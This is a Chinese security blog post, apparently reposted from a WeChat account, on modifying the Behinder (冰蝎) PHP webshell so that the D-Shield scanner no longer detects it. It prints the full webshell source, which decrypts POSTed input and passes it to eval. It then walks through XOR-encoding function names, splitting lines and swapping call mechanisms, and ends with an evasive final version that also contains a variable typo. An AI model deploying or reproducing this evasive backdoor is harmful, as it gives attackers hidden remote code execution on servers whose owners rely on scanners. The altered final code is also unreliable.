冰蝎php免杀bypass

admin 2022年2月11日01:46:46评论350 views字数 3831阅读12分46秒阅读模式

1、源码特征修改

<?php@error_reporting(0);session_start();    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond        $_SESSION['k']=$key;        $post=file_get_contents("php://input");        if(!extension_loaded('openssl'))        {                $t="base64_"."decode";                $post=$t($post."");                                for($i=0;$i<strlen($post);$i++) {                             $post[$i] = $post[$i]^$key[$i+1&15];                             }        }        else        {                $post=openssl_decrypt($post, "AES128", $key);        }    $arr=explode('|',$post);    $func=$arr[0];    $params=$arr[1];        class C{public function __invoke($p) {eval($p."");}}    @call_user_func(new C(),$params);?

这是源代码首先修改使用关键的函数

源码$t="base64_"."decode";使用异或获取base64_decode代码为$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);代码修改如下<?php@error_reporting(0);session_start();$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond        $_SESSION['k']=$key;        $post=file_get_contents("php://input");        if(!extension_loaded('openssl'))        {                $post=$t($post."");                                for($i=0;$i<strlen($post);$i++) {                             $post[$i] = $post[$i]^$key[$i+1&15];                             }        }        else        {                $post=openssl_decrypt($post, "AES128", $key);        }    $arr=explode('|',$post);    $func=$arr[0];    $params=$arr[1];        class C{public function __invoke($p) {eval($p."");}}    @call_user_func(new C(),$params);?>

使用d盾的版本

冰蝎php免杀bypass

发现不管怎么改发现都是已知后门,经过排查发现d盾识别的是class C{public function __invoke($p) {eval($p."");}} 里面的eval,先将eval改为assert(注:php高版本不支持assert),先修改测试完后,最后在处理这里,改完后告警就变成3级。

冰蝎php免杀bypass

接下来处理告警的函数

对$post=file_get_contents("php://input");进行处理首先将file_get_contents拿出来,修改为$f='file'.'_get'.'_contents';php://input发现使用字符拼接还是会告警,这里同样采用异或处理$p='{{{{{{{{{{{'^chr(11).chr(19).chr(11).chr(65).chr(84).chr(84).chr(18).chr(21).chr(11).chr(14).chr(15);这样就变成了$post=$f($p);<?php@error_reporting(0);session_start();$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);$f='file'.'_get'.'_contents';$p='{{{{{{{{{{{'^chr(11).chr(19).chr(11).chr(65).chr(84).chr(84).chr(18).chr(21).chr(11).chr(14).chr(15);    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond        $_SESSION['k']=$key;        $post=$f($p);        if(!extension_loaded('openssl'))        {                $post=$t($post."");                                for($i=0;$i<strlen($post);$i++) {                             $post[$i] = $post[$i]^$key[$i+1&15];                             }        }        else        {                $post=openssl_decrypt($post, "AES128", $key);        }    $arr=explode('|',$post);    $func=$arr[0];    $params=$arr[1];        class C{public function __invoke($p) {assert($p."");}}    @call_user_func(new C(),$params);?>

2、可疑文件处理

经过1阶段的混淆,现在文件变成了可疑文件。

冰蝎php免杀bypass

显示可疑文件,这个还是比较坑的不知道是哪的问题,没办法只能一行一行的去删

最后测试发现,和$post[$i] = $post[$i]^$key[$i+1&15]; 这行有关系,删除就不告警了

冰蝎php免杀bypass

文件只删除这行确定了告警位置

冰蝎php免杀bypass

$post[$i] = $post[$i]^$key[$i+1&15];写成了一行进行拆分拆分后$key = $key[$i+1&15];$post[$i] = $port[$i]^$key;

在测试,成功绕过

冰蝎php免杀bypass

经过测试我本地环境已经加载了opensll扩展,删除这个if判断只留下else也可以正常使用的。


3、处理eva问题

class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);这是冰蝎最后两行的代码经过进行关键字删除发现,d盾检测__invoke查手册发现call_user_func可以进行对象实例化和调用对象方法可以修改为class C{public function b($p) {eval($p."");}}@call_user_func(array(C,b),$params);
改造完成后源码<?php@error_reporting(0);session_start();$t='{{{{{{{{{{{{{'^chr(25).chr(26).chr(8).chr(30).chr(77).chr(79).chr(36).chr(31).chr(30).chr(24).chr(20).chr(31).chr(30);$f='file'.'_get'.'_contents';$p='{{{{{{{{{{{'^chr(11).chr(19).chr(11).chr(65).chr(84).chr(84).chr(18).chr(21).chr(11).chr(14).chr(15); $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; $post=$f($p); if(!extension_loaded('openssl')) { $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $key = $key[$i+1&15]; $post[$i] = $port[$i]^$key; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function b($p) {eval($p."");}} @call_user_func(array(C,b),$params);?>

成功免杀

冰蝎php免杀bypass


本文由t00ls大佬wxjjh首发原创

最后

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。


无害实验室拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的



本文始发于微信公众号(无害实验室sec):冰蝎php免杀bypass

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月11日01:46:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   冰蝎php免杀bypasshttps://cn-sec.com/archives/489030.html

发表评论

匿名网友 填写信息